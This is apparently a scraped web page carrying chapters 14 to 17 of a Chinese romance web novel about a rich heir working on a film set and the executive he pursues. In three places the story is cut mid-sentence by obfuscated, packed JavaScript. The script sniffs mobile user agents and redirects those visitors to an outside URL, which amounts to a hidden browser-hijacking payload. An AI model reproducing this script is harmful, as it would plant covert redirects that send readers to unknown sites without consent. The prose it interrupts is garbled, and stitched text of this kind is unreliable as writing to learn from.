本来他只干跑腿和力气活,现在好了,道具质量不行怨他、场地摆放的东西没及时搬走也骂他、送东西晚了也要批评他、不小心闯入镜头了也要被演员甩脸色,尤其是前天—— 前天,白天他在B组给配角们当跑腿牛马,中午就吃了份裴玉给他带的腊味煲仔饭,晚上莫名被调去A组陪男女主熬通宵,男主休息时,他还得给男主做光替走位,北方三月山上的夜晚冻得人瑟瑟发抖,他穿着薄薄的夹克外套,又冷又累又饿又困,难受到极点,跑去偏远草丛把午饭吐了干干净净,好容易凌晨四点钟终于要收工了,他这个连续工作了20个小时还一分工资都没的牲口,没人带他回酒店,他就随便在临时帐篷里占了个谁的行军床,扯上旁边的粉紫色库洛米小棉被就倒头睡死过去。 昨早八点,他还在睡梦中,一个小丫头飞奔过来一把掀掉他的被子,讲话糯叽叽的,毫无攻击力,说要不是看他长得太帅,她早就把他怎么怎么样了……他没理她,全程眼睛就没睁开过,醒来后被冻得头昏脑涨,骑着辆闲置的三蹦子去B组找裴玉助理给他弄了点感冒药和姜茶,旷工了一上午才缓过来。 依旧是昨天,中午难受得连口饭都吃不下,下午男主拍戏,男主让私人助理去山下给全组买咖啡奶茶,刘导居然指挥他去给男主端茶倒水当免费助理,还语重心长地教导他一番,让他在旁边好好学习一下人家男主敬业的工作态度。 虽然刘导是老江湖,跟他说话也平和稳当,但老头儿那股子“我是长辈就等于我是你爹”的王八蛋劲儿,气得他当场撂挑子走人了。 CTMD!他是何湛程! 他们知不知道他这个名字意味着什么? 这帮冲他吆五喝六的孙子们还在穿开裆裤的时候,他老子何澜就已经是混迹于越南老挝缅甸柬埔寨、行走在刀尖枪口上的枭雄了!他爹那些年倒腾木材水果和药品,吃过枪子儿,挨过刀砍,后来小弟收了一堆,赚得盆满钵满,通吃珠三角长三角的黑白两道,那是真真正正从尸山血海里闯出来的狠人,哪是这群扛摄像机写剧本的酸儒书生配去和他称兄道弟的? 老爷子人到中老年,手下有出息的兄弟小弟徒弟晚辈后生遍及全国乃至整个东南亚,可谓是门生故吏遍天下,他何老三降世那年,他爹老来得子,劲头正兴,寻思着自己百年之后留给三个儿子的遗产不够分,又开始鼓捣汽车、珠宝和羊毛生意,把产业发展到了香港、澳门、菲律宾、秘鲁和瑞士,“何澜”两个字从此常年盘踞在福布斯排行榜前三,是当之无愧全国第一的商业巨鳄! 他大哥,人品低劣手段阴险,但确实是个超凡卓越的青年才俊,老爷子亲自指定的继承人,才27岁就成为何氏集团最年轻的董事会成员,一人就手握整个集团28%的股份,且在外省另起门户无数,身价过千亿,风度翩翩人模狗样,谁见了不说一句后生可畏? 这些年,他何湛程出门在外,甭管他来者何人,谁不看在他老子和他大哥的面子上把他何老三供得跟祖宗似的?他奶奶的,结果到了戚时手底下,一群人变着花样的欺负他? 要不是他相中了戚时那张长相过于牛逼的帅脸,惦记着早晚把人给泡了,他为了心上人忍着不发火,这群连名号都排不上的孙子们还真当他脾气好啊? 他是何湛程。 不是张三李四王五赵六! 还有,他一个不在剧组吃饭的人,制片居然还叫他每天给群演分发盒饭?! 制片这是想干什么?! 戚老二这是想干什么?!! 把他何湛程当日本鬼子整是吧?! 何湛程浑身软绵绵地趴在酒店雪白柔软的大床上,满脑子一团浆糊,又气又无力,骂都懒得骂了。 是的,他今天又旷工了。 今天是来剧组的第九天,也是他躺在酒店摆烂的第二天。 裴玉帮他续了一周的费,每天中午忙里偷闲,亲自送来补品和饭食。 在裴玉钞能力作用下,俩人这阵子亲近了不少,昨晚上裴玉收工早,带了夜宵来看他,见他不舒服,还非常体贴地给他喂饭,全程盯着他的脸看,最后实在忍不住了,轻轻握住了他的手,问能不能亲他一下,随便亲哪里都行。 何湛程眼神冷冷的,警告了句你别找死,但实在太累,又发着高烧,跟裴玉说如果你太闲,就给我按摩下腿和脚。 裴玉只希望能和他多待一会儿,也不介意伺候他,一边给他捏腿一边和他聊天,说在自己心里一直把他当小弟弟,但他知道自己高攀不起,就只能把何湛程当做自己事业转运的恩人。 那天珠宝晚宴过后,他裴玉有何家做靠山这件事就在一夜之间传开了,圈子里没人敢欺负他了不说,还有好多咖位比他高不少的前辈主动抛出橄榄枝,要带他一起合作。 很多大咖收到第一手的本子,不合适或者不想演,顺水推舟做人情就给他了,帮他引荐导演,提供信息和人脉让他去试戏,加上他本身也很会做人,一狠心,掏空全部家底,做局应酬无数,认了一堆哥姐干爹,公司见他挺出息,后期也乐意砸钱捧他,于是裴玉的事业很快就步入正轨了。 裴玉说,他能走到今天,是托了何湛程的福。 恩人? 何湛程迷迷糊糊想,怎么又扯上一个恩人? 情人纠缠容易摆脱,恩人……啧,不太好断啊。 何湛程本来不想和裴玉走太近,总感觉对方太喜欢他了,好像会随时吃了他一样。 但裴玉是擎荣影视旗下的艺人,风光正盛,前途无量,很能给老板赚钱,平时在公司碰上了,戚时也会停下来和裴玉聊两句,算是比较抬举他。 何湛程搁酒店闲得发慌,成天琢磨着从裴玉嘴里套出点儿戚时的八卦,所以暂时跟人说话没有太难听。 据裴玉透露,戚时在大部分决策上是纯流氓做派, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409023|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于横冲直撞速战速决的类型,他办事只围绕两个核心,第一是他哥,第二是赚钱,其余杂琐事,比如很多来公司好几年但一直没资源的艺人想求他稍微关照下,戚时眼皮都不会抬一下,遑论帮他们介绍人脉和工作了。 问,就是让他们凭本事上位,连在自己公司都做不到出类拔萃,还指望在娱乐圈闯出一片天? 越是对底层,越是残酷残忍,完全打压式教育,很是不近人情。 但戚时在大事上是比较拿得住的,能忍能扛能控局,危机意识也很强,对形势变化的敏锐度极高,稳得令人心服口服。 何湛程还收集在便利贴了几条戚时相关: 1,习惯抽黄鹤楼大金砖; 2,喜欢打篮球台球网球羽毛球; 3,日常打扮休闲,非必要不穿西装; 4,有一条视如己出的阿拉斯加小狗; 5,不喜欢过生日; 6,讨厌唱歌; 7,沉迷于收藏各类限量版球鞋和球衣; 8,脾气大,但来得快去得也快,吃软不吃硬; 9,女友无数,永远无缝衔接,唯爱肤白貌美大长腿千金小姐 女友这一点,据何湛程了解,戚时貌似不只是喜欢外表是清冷女神范儿那类,还得是真正有内涵教养的高知女性才行。 啧,是因为自己练体育的没啥文化,才喜欢交往对象有文化? 何湛程不免恶意揣度,果然,人总是自己拥有不了的东西才是最好的。 戚时条件也很苛刻,又要漂亮性感身材好、又要内涵丰富学历高、还要甘愿做他的情人,忍受一段没有承诺、没有未来的非正常恋爱关系。 大抵是戚老二人帅多金技术也好,这些年来,他读硕士的时候,正式谈过两个文科硕士,毕业后谈过四个搞科研的女博士、两个常出差的工程师、三个搞创作的艺术家—— 据说谈艺术家的时候被人家遛了,戚时莫名做了男小三,从此再不敢和艺术家谈了。 目前主要在交往的是一个大学教师兼瑜伽教练,跟戚时的感情最长也最稳定,所以知情人士都觉得这俩人是奔着结婚去的,另外两个只能算作露水情缘,戚时顶多带人家去吃个饭看个电影,给人买买衣服首饰包,等腻了就打给对方一笔分手费,双方各取所需,好聚好散。 何湛程了解完戚时花心大萝卜的全部感情史后,居然萌生出他得回去上学的念头,虽然在哥伦比亚大学读商科十分枯燥乏味,但那也是他凭自己本事考上的,等读完,一纸毕业证甩戚时脸上,一边跟人商量着他要不要也去读个硕士博士什么的,一边拽着戚老二头发把人往死里干,光想想就觉得爽。 正趴在床上想着某人英俊的帅脸发痴呢,搁在床头柜上的手机就嗡嗡震动起来。 何湛程轻啧一声,睁开眼去拿手机,猜测着要么是剧组的人打电话来骂他旷工的,要么就是裴玉问他今天中午吃什么。 如果是剧组的人,他准备回一句“去网上搜一下‘何湛程’这个词条,然后叫你们男主滚过来给我洗脚捶腿”; 如果是裴玉,嗯……他今天中午想吃新疆菜,再多来俩羊肉串,最近一日三餐光喝营养粥,他馋肉了。 视线转向手机屏幕。 来电显示浮动着两个几近玄幻的字: 二哥 15. 第15章 俗话说得好,黄鼠狼给鸡拜年——没安好心。 但明知如此,盯着来电显示的备注名,何湛程还是很开心。 戚时是他目前为止遇到过最难泡的一个,可为了抱得美男归,他并不介意多花点心思哄人,如果能让戚时消气重新理他,他多干几天粗活、挨两句无关紧要人的骂也没什么。 就像他幼时调皮捣蛋,他爸妈生气,他要么卖萌装乖,要么假装不小心摔一跤把自己搞得很狼狈,他们的怒火就会立刻烟消云散,更多将关注点转移到他本身,而不是他惹出的麻烦。 何湛程从小就知道自己长得可爱,长大了更是帅得花见花开,不管对方最初对他态度如何,他都有足够的能耐钓到任何他看上的人。 他不确定自己会对戚时的兴趣保持多久,但起码现在,他愿意陪这个英俊的男人玩一玩。 何湛程接起电话,忍着喉咙刺痛,冲人调笑: “二哥,可算是舍得把我从黑名单里放出来了?” “哟,”对方语调听起来颇为痛快,假惺惺问询着,“你这嗓子怎么了,哑得都快听不见声儿了,感冒啦?” “哪能呢,”何湛程笑道,“二哥你手底下这么多人都在照顾我,我要是病了,那也太不给你面子了。” 对方笑了声,似乎整个身心都舒坦了:“听说你这两天都没去组里干活啊,是累了?啧,就说是大少爷呢,细皮嫩肉干不了粗活儿,我本来还寻思着过阵子看你去呢,现在看这情况,唉,你要是待不了,我干脆叫茉莉直接给你送家去吧。” 得,原来是瞧着没能整死他,专门打电话激他来了。 何湛程笑着磨了磨牙,寻思着自己怎么就看上这么个禽兽王八蛋呢,回头他不把人操掉半条命还真是对不起自己这副受苦受难的千金之躯啊。 口头回话倒挺乖:“没,我犯懒呢,等歇好了就回组里了,二哥你什么时候来找我玩儿啊?” “哦,”那边根本不管他问啥,只顾自己的,“那你什么时候歇好?” “你什么时候来找我?” “程儿,”那边吊儿郎当的,带几分不经意的撩,“这么跟二哥说话?” 何湛程倏地攥紧手机,笑:“我明早就去。” “嗯,”那边心情不错地嘱咐,“量力而行,有事儿说话,别太累着自个儿。” 何湛程忍不住问:“我累着了,二哥会心疼吗?” “那可不。”对方说。 何湛程笑容一僵。 总觉得……哪里不对劲。 他不就是骗过对方一次手机号么,又不是在天上捅出了窟窿,就算看在他爸他大哥的面子上,戚时也犯不着这么往死里整他吧? 还有今天戚时是吃什么癫痫药了?怎么还跟他玩调情这一套? 嗯……他知道自己好看,但戚时要是装直男的话,那可就大大的没意思了。 这般犹疑着挂了电话,绞尽脑汁也没想出个所以然来,等回过神,才想起戚时还没回复他究竟什么时候来找他。 何湛程一键回拨就给人打回去了。 然后就收到一串刺耳的女声提示音:您拨打的用户暂时无法接通…… “哈哈哈哈哈哈……”何湛程气笑了。 天杀的戚老二,居然刚打完电话就又给他拉黑了! 刚说过的有事就找他说话呢?!! 何湛程第二天就准时到岗上班了。 身残志坚堪比黑奴的零薪工少爷脖子上挂着工作牌,开着辆活力十足的蓝色三蹦子炫酷登场,立刻收获无数震惊钦佩的目光。 他们没想到他还会回来,更没想到他卷土重来第一天,就请全剧组(二百多个工作人员外加二百多个群演)吃了景区商业街人均六百多的手握寿司套餐和烤羊腿,下午人手一杯均价四十的饮料,很是收割了一波人心。 裴玉吸着冰美式,掰着手指头算总账,悄悄问何湛程哪儿来的钱? 何湛程大马金刀地坐在小板凳上咬着羊肉串,小微风吹着,身旁野草拂动,他一口橙汁一口肉,吃得津津有味: “我留了戚老二的手机号,让那些店长打电话找你老板结账。” 裴玉吓得差点杯子掉地上,一脸不敢置信:“你疯了?!” 何湛程满不在乎一挥手:“他把我扔这儿,又不管吃,又不管住的,我花他点儿钱咋啦?” 裴玉急得跳脚:“祖宗!你是真不知道天高地厚啊!时哥可不是什么善茬,你真惹毛了他,他可不会看在谁的面子上放过你!” 说着,招手叫助理来,让人赶紧拿他的卡去山下那几家店铺结账,说这顿就算他的,以何湛程的名义送出去,他不亏。 何湛程伸出两根银光锃亮的铁签子就将人挡了回来,眼皮也不抬一下:“你算老几,替我结账?坐着。” 分明最平淡不过的语气,却把裴玉浇了个透心凉。 裴玉老实了,把卡收回来,垂头丧气坐到何湛程对面板凳上,捧着手里突然不是滋味的冰美式,小声咕哝:“那你和时哥也没关系啊……” 何湛程没理他,裤兜震动几下,他嘴角翘起,掏出手机来看。 先是茉莉的微信: —三少,收手吧,算我求你 何湛程: —他那边怎么说? 茉莉: —坐办公室狂笑了半小时 何湛程啧一声。 看,多好,他不仅有把人惹怒的本事,还能把人逗乐呢。 然后是戚老二的电话。 何湛程矜持地接起,等那边先开口。 戚时听起来并不生气,语气温柔,有种超乎寻常的慈祥: “吃的啥啊程儿,一下子干你二哥三十五万?” 何湛程甜甜地笑:“羊肉,二哥喜欢么?” 戚时也笑:“二哥更喜欢吃人肉。” 何湛程尾椎骨猛地窜上一股子电流。 但戚时嗓音十分性感动听。 “二哥净逗我。”他撒娇。 戚时哈哈笑了两声。 然后语气更加开朗:“二哥不仅喜欢逗你,二哥还把你衣裳都卖了,开心嘛?” 何湛程笑脸一僵,以为自己幻听:“啥?” 戚时:“我——把——你——的——衣——裳——都——卖——啦。” 下一秒,贴在耳边正甜甜陪笑的手机被骤然狂暴起来的人扔进五十米外的灌木丛里。 裴玉惊叹:“哇靠,好臂力!” 何湛程阴沉沉地瞪他。 裴玉拔腿就跑:“我去帮你捡!” “站住。”何湛程声音冷冷的。 “不关我事啊……”裴玉试图蒙混过关。 “你是擎荣的人。” “可我每天都在组里待着啊……” “挺会给老板卖命的一条狗啊?” “我真不知道……” “真的一点儿都不知道?” “就、就听到一点风声,具体的不知道……” “那就去查。” “三少……”裴玉有点为难地劝着,“这事其实很好办的,你别惹他就万事大吉了,你就算查清楚又能怎样,东西卖都卖出去了,你不如给时哥认个——” 何湛程勃然大怒,抓起喝剩的半杯橙汁就朝人砸过去: “我他妈让你去查!立刻!马上!” 周遭人纷纷被惊动,不约而同看过来。 众目睽睽之下,裴玉一身崭新古驰被溅得到处是黄澄澄的果汁。 然后好脾气抬手一抹脸,叹气:“好吧。” 经此一闹,不管是折服于“道具小何”大手笔请客的阔气,还是被少爷原形毕露的暴脾气吓到了,从此剧组再无人敢惹他。 何湛程重新做回了皇帝,每天上班晚到早退,身边人还端茶送水不断,高兴了就跑去干点活儿,大多时候在巨型遮阳伞下欣赏高山美景,要么就盖着小羊绒毯睡大觉,闲着没事儿了就骑着三蹦子乱溜达,一晃眼,八九天过去,没等到戚老二说要来看他的电话,倒和组里的一个小丫头玩儿上了。 是之前他盖得那床粉紫色库洛米小棉被的主人,刘导亲闺女,组里人都喊她霜霜,十岁出头,粉团脸蛋,声音糯叽叽,成天扎着俩小揪穿着古装跑来跑去,红衣飘飘的,累了就去帐篷里歇着看动画片,身边随行俩保姆和一个司机,偶尔让“小何”开着三蹦子带她去A组找她爸,也不上学。 霜霜一派公主作风,最开始认识何湛程就是因为他抢了她被子,本来要发火来着,奈何人太帅,没舍得。 后来何湛程闲下来了,她经常跑来找他玩儿,俩人天南海北地聊,她深觉遇到知音,于是正式任命小何给她当随从,说:“小程子,你是太监,我是公主,从现在开始,你得无条件服从我!” 何湛程一脸笑意,挺配合着单膝跪地,打了个千儿,向公主行礼:“嗻!” 霜霜居高临下地踩在桌子上,蔑然道:“小程子,你可知罪?” 何湛程颔首:“我知罪。” 霜霜:“说,你犯什么罪了?” 何湛程:“没能让公主开心,就是我的罪。” 霜霜:“嗯,念在你是初犯,本公主就饶你一命了。” 何湛程行礼,高声喊:“谢——公——主!” 剧组路过的人都觉得这一大一小脑筋有问题。 这天,霜霜举办了一场名媛下午茶会,叫了小程子参加,俩人占了座山头,天朗风清,二人舒坦地靠进躺椅里,中间摆一张茶水桌,一起望着远山漂浮的云。 霜霜咬着小程子给她买的果冻,问:“你多大啦,怎么年纪轻轻就进宫了?” 小程子笑:“我今年二十,被家里人送进宫见见世面。” 霜霜挠着头:“二十?你不上大学吗?” 小程子:“本来在上的,上了两年觉得没意思,就回家了。” 霜霜:“什么叫‘没意思’?” 小程子:“就是‘本来有很多张有趣的脸,时间长了,他们慢慢都变成了一张脸,那一张脸还是镜子里的我自己’的意思。” 霜霜被绕得头晕:“我听不懂。” 小程子:“听不懂才好呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409024|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 霜霜:“那你有对象吗?” 小程子:“太监怎么会有对象?” 霜霜唏嘘:“也是。” 小程子伸手揉了揉她小脑瓜,问她:“公主殿下呢,你怎么不上学?” 霜霜小嘴一撅,表情不太高兴:“在学校她们都欺负我,说我长得丑,一个女生带头开始的,让好多人都不跟我玩儿,还假装不小心往我桌子上泼水,把我课本都弄湿了,后来我就拿钢笔把她手扎穿了,我爸说让我先别上学了,这阵子跟着他在剧组待着,等他把这部戏忙完了,就给我找个新学校。” 小程子啧一声:“你妈呢?” 霜霜拆开一包薯片吃着,说得风轻云淡:“我亲妈生我的时候死了,我后妈那张脸整得跟个鬼一样,我不喜欢她。” 小程子“哦”一声,想了想,接着掏出手机,在便利贴上打出一串数字,给霜霜递了过去。 “这是我电话,你背过,以后不开心了打给我,我替你处理。” 霜霜一挑眉,瞥他:“你替我?” 小鼻子一蹙,不屑道:“你还给我爸打工呢,你算老几。” 小程子笑了起来:“霜霜啊,你要是我亲妹妹就好了。” 霜霜咬了口薯片,问:“为啥呀?” 小程子:“这样我就能给你一巴掌了。” 霜霜:“……” 小程子保持着递手机的姿势没动,语气严厉了几分:“一分钟把我手机号背过,以后有人欺负你就打我电话,不准再自己动手。” 霜霜不爽了,瞪他一眼:“你敢命令我!” 小程子别过脸,哼一声:“你不听话,我就再也不跟你玩儿了。” 霜霜立刻服软,一把接过他手机,低头认真背起来。 裴玉不知从哪儿飘过来,凑到人旁边存号码:“来,霜霜,给我也加一下。” 霜霜很懂规矩,连忙死死捂住手机,然后神情得意地扭头去看小程子,似乎在说:“看,我做的不错吧!” 何湛程赞许地看她一眼,挥了挥手,打发她去一边玩儿。 下巴冲裴玉一抬,示意让人坐。 裴玉一屁股坐霜霜小毯子上,随手撕开了个荔枝果冻塞嘴里,一脸幽怨望向旁边人:“唉,三少,咱俩都认识这么久了,你让我加个电话怎么了?” 何湛程枕着胳膊躺了回去,闭上眼:“说正事儿。” 裴玉上周戏排得很紧,日里夜里连轴转,没怎么到何湛程跟前儿晃悠,今天好容易得空了,立刻找公司里的熟人旁敲侧击,东拉西扯唠了一上午才帮何湛程打听出了内幕。 裴玉毕竟是擎荣影视的人,打探自家消息容易,但得防着自家人卖他,他也不像茉莉那样完全忠于老板,现在还惦记着何湛程的恩情和自己那点儿色心,幸而为人世故圆滑,虽然两头摇摆,却是左右逢源。 美少年当前,裴玉没怎么犹豫就透底了,说戚时原来早在何湛程请客之前就擅作主张把他那堆行李卖了,衣服怎么处置的、珠宝怎么处置的,还卷跑了何湛程的两双球鞋,事无巨细,全给人交代了。 “不过你放心,你那些东西太贵,每件挂平台还得找人开鉴定证明才能用真货的折扣价卖出,卖的没那么快,现在三分之二还都囤在市场部的仓库里,不过……唉,时哥最近改变策略了,说不再找人开鉴定证明了,全都当做普通衣服卖掉,为此还成立了两个卖货直播间。” 裴玉劝着:“三少,你就听我一句,时哥虽然脾气大了点,但为人挺不错的,趁现在还来得及,你赶紧给他打电话服个软,只要你先低头,你那些衣服指定能要回来,真的。” “低头?”何湛程乐了,“不就骗了他个电话号码么,戚老二这种头脑简单四肢发达小肚鸡肠毫无风范格局的傻大个儿,他是怎么坐上那个位子的?” 裴玉精准捕捉信息:“你骗他电话号码干嘛?” 何湛程耸耸肩:“玩儿啊。” 裴玉要防着自己人,他也得防着裴玉,万一这货吃醋跑回去找戚老二告密,把他心上人吓跑了咋整? 裴玉见何湛程一脸风轻云淡满不在乎的样子,自己倒替人着急上了:“那你那些衣服怎么办?你不是说那是你的全部家当吗?” 清风吹过狼尾草,身后林间树影婆娑,天地万物一片澄明,何湛程缓缓睁开眼,太阳光就这样强势地刺进他琥珀色的深瞳。 他抬臂一挡,袖口露一截雪白的腕,蛇一样缠绕在腕间的那条沉香手串晃动几下,坠出两颗举世稀有的上等南红。 迎着日头,金玉堆簇着,像两颗正在跳动的深红心脏。 何湛程闲闲地把玩着手串,语气淡淡: “你刚才说,他卖了钱要干嘛来着?” “捐给山区留守儿童。” “捐给谁?” “山区留守儿童。” “山区什么?” “留——守——儿——童!”裴玉拔高嗓门喊,不知道少爷怎么突然就聋了。 “嗯,”少爷一脸祥和地闭上眼,“平白错过好些年,就算我补偿他的,这事儿掀篇了。” 16. 第16章 “你说什么?” “我说分手。” “再说一遍。” “分手。” 啪的一声,蒋灵愤怒拍桌而起,拿起手边红酒泼人一脸。 “混蛋!”她声音哽咽。 戚时一脸镇定地抹了把脸,扯纸巾擦擦身上,然后颇为绅士地起身,再重新帮她满上酒。 刚满上,人还没坐回去,蒋灵立刻又泼他一脸。 戚时干脆连擦都不擦了,任由额发上的酒液滴滴答答,滑落进英挺浓眉间。 高级餐厅暗灯下,他一张浓颜俊脸正得发邪,红液流淌至唇角,他伸舌舔舔,一张嘴,唇红齿白。 抬头冲她宠溺一笑,愈发令人怦然心动。 “消气没?”他哄她:“没消气我接着倒。” 蒋灵仰头瞪着他:“倒!” 他又倒,她又泼。 他再倒,她再泼。 他还倒,她还泼。 来来回回,两瓶五千来块的好酒一口没喝,全灌溉在戚时的头发和脸上。 最后,戚时收拾利落,打了个响指,叫服务员再上两瓶,唠嗑似的,问对面红着眼眶却死活不肯掉泪的蒋灵:“两瓶够吗?” 蒋灵咬着牙,恨恨地骂他一句:“畜生!” 戚时轻啧一声。 这才是他女人呢,性子就是烈,不过他早预料到这一出,才特地定的包厢。 自己人面前,这叫情趣,外人面前那才叫丢脸,他虽然书读不好,但脑子一向挺好使的。 服务员送来酒,戚时接过,也不用醒了,直接往人杯子里继续倒着: “忍不住就哭吧,这里没外人,在我面前你还逞什么能?哭不出来就骂,甭跟我客气,没消气咱就接着来,你心里不也清楚吗,你跟我早晚会有这一天,没什么意外的。” “滚!”蒋灵哭着吼他一声。 戚时见没泼他,缓缓坐回去,将一张黑卡推到她手边,态度公事公办:“你放心,分手归分手,你我情分还在,往后有困难了,你随时联系茉莉,她知道你和别人不一样。” 每听他说一句,蒋灵的心就碎一下,她泪流满面着抬起头:“是,她知道我和你别的女人不一样,别的女人一张卡一套房子就轻易打发了,哪里有资格让你日理万机的戚大总裁亲自出马说分手!她不仅知道,她还认为你会和我结婚,所有人都这么认为!可你呢?这么多日日夜夜,你良心都让狗吃了吗?!!” 戚时眼神逐渐冷酷:“蒋灵,我有认真考虑过和你走到最后,但我们不合适。” 蒋灵倔强地擦干眼泪:“你给我一个理由。” 戚时甩出他的万能分手理由:“我腻了。” 蒋灵犀利起来,两眼深深盯着他:“我要听真正的理由。” 戚时低头点烟:“理由就是理由,没有什么真的假的。” 蒋灵:“你爱上别人了。” 戚时直接笑呛了:“哪里有什么别人。” 蒋灵咄咄逼人:“那晚,给你发短信的小男孩儿,你后来等他回复,等了一整夜。” 戚时满不在意地喷了口烟,手指悬到烤羊排的餐盘上,弹着烟灰:“你不懂,那是男人之间的较量。” 蒋灵笑了:“不是你亲口说,不想理他么?” 戚时也笑:“你吃一个小孩儿的醋?你觉得可能么?” 蒋灵笑不出了,眼眶里又含了泪:“你……刚才还把他当男人。” 戚时皱眉,他是真搞不懂她,他不理解这有什么好哭的。 弯过腰,给她递上纸巾,耐心安慰着:“行了,那小子才刚满二十,毛都没长齐,我大他整整七岁,替他哥教训教训他而已。” 蒋灵忍不住了:“可是,他喜欢你!” 戚时愣了下。 他喜欢他吗? 一瞬间,脑海里走马灯似的晃过许多事: 那样一个家境优渥的阔少爷,第一次见面就亲昵地叫他“二哥”,其实吓了他一跳,因为从没人这么称呼过他……散席后突然挽上来的手臂,靠得他那么近,脖颈间肌肤里散发出的不是香水味,而是淡淡的体香,他那方面经验丰富,却不敢闻那个人……帮他解安全带时故意贴近的、那样细嫩如水的脸,他感受到了,软而温凉,视线便忍不住瞄向对方轻扬起来的嘴角……每次打电话都要撒娇,无论他怎么发火,对方好像都没什么脾气,搞得比人小七岁的是他一样…… 不知道从哪儿搜罗到他那些旧照片和视频。 小傻子脑子里究竟装的什么? 为什么要打印? 为什么要那么细节地修复和还原他曾经的样子? 为什么要探究他的过去? 那样娇生惯养着长大的少爷,生了重病,不抱怨不吭声,还因为他一句阴阳怪气的话就老老实实跑回去干苦力…… 叼在嘴里的烟一不着意,忽地砸在手背上,在虎口处烫出一个浅浅的红点。 他后知后觉,抬手吹了吹灰,然后将燃着的烟头捻灭,也掐灭那荒谬的可能。 那小子只是因为无聊在消遣他罢了。 众所周知,那小子天生就这么混账。 而他,他戚老二铁直了快三十年,怎么可能会喜欢上男人? 对方还是那么一个欠收拾的小兔崽子? 他在一瞬间说服自己了,很快镇定下来,挑眉问她:“蒋灵,我没别的意思,但你是不是该去看看精神科啊?” 蒋灵当然看穿了他所有的情绪,一颗心彻彻底底地死了。 她无心再聊,挎着包离开,经过他时,把那张黑卡扔在他被烟头烫伤的右手边,冷笑道:“这卡你也就一张,我不稀罕,你留着下一次给你的小傻子分手用吧。” 说完,头也不回地扬长而去。 戚时也没回头,蒋灵走了,他心里倒是松一口气。 倒不是讨厌她,他想,他暂时还抵触发展一段长期的关系,他们感情是很稳定,但每次想到以后要和蒋灵结婚,他就压力山大,浑身难受呼吸不过来,总觉得哪里不对劲。 而她,跟他在一起,她老觉得他恋兄,嘴上发誓说再也不提,心里还在恶心他。 分手多好啊,既然双方都不痛快,不如趁早断了,谁也不耽误谁。 戚时自顾自倒着酒,嘴里哼着分手快乐歌,叫了服务员,收拾干净桌子,又点了份新的羊排。 其实蒋灵那份牛排只切了一刀,她就吃了一口,也没沾口水,还剩很多。 但他没有吃别人剩饭的习惯。 羊排上来,戚时津津有味地吃着,可能分手这件事令人心情愉悦,他今天特别的有胃口。 手边那张黑卡,他瞥了两眼,心想,蒋灵都不稀罕的东西,何老三就稀罕么? 何老三手上的黑卡不比他戚老二多? 所以,就算是分手的话,也该是何三少给他这种小职工打钱才对。 戚时嚼着肥而不腻的晚餐,人生第一次觉得羊肉居然这么好吃,慢悠悠将卡收回兜里,嘴角不禁浮现出笑意。 他都不敢想,要是跟何老三这种人在一块儿,他得拥有多少双梦中情球鞋啊…… 不对。 戚时笑脸耷拉下来。 他想什么呢? 他俩现在都快处成敌人了! 有谁见过敌人给敌人买球鞋的?! 强行将偏离的思路掰正过来,戚时一脸正色地喝酒吃饭。 显然,他想,刚才那是金钱的诱惑。 说起来,戚时还挺唏嘘,何湛程混归混,到底是出身大户人家,有胸怀,有格局,他卖了那人这么多东西,对方一字不提,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三少送朋友的礼物,预约3.16下午四点上楼取件。 【本周必须送出,真的不能再推迟了!!!】 他想也不想就给她拆了。 好你个茉莉,你是谁的秘书?居然敢背着老子给何老三办事儿? 这也就算了,居然还不跟老子说? 还拿公司的礼盒摆桌上搞障眼法? 这还有天理吗?! 还有王法吗?! 礼盒装的东西很普通。 景区礼品店的一个笔记本和一支枫叶状的金色书签,加起来超不过三百块。 雪白的扉页,狷狂的字迹极具个性,好看得令人心动,来自目前身在景区的那个据说大学都没毕业的人。 写给林弟: 要是秋天就好了,这里就会有满山遍野的红枫林,我想我会送你真正的枫叶,因为你像半褪色的红,一半是年轻炽热,一半是隐忍懂事。 东西不贵,希望你喜欢。 祝: 身体健康,学习进步,越来越帅 何湛程 3月5日 冰冷发汗的手指犹疑了一下,轻轻撕开第一张,露出底下的一张便利贴,上面写着邮寄地址: 沪上XX大学玉湾校区物理实验楼菜鸟驿站 收件人:136****7642许若林 看吧,原来那样品德低劣的小傻子还会给人写情书呢。 林弟。 呵呵。 这又不是搁古代,搞这么文绉绉的,有必要这么称呼么? 他把那短短几行读了五十遍。 每次视线都忍不住多瞄两眼邮寄地址。 他想,他才不会喜欢他。 17. 第17章 剧组没什么好玩的了,何湛程准备离开了。 戚老二那个骗子,答应他的事没做到,短信也不回,茉莉也总是一副公事公办的态度,言语上和蔼亲切,行动上却拒人千里之外,他不好太频繁打电话给她,他知道她已经察觉出什么了。 要么说女人是感性动物呢,到底比某些神经粗条的男人有脑子。 不过茉莉不是多嘴的人,她永远在维持平衡,不愧是高级行政秘书,何湛程觉得她比裴玉靠谱多了。 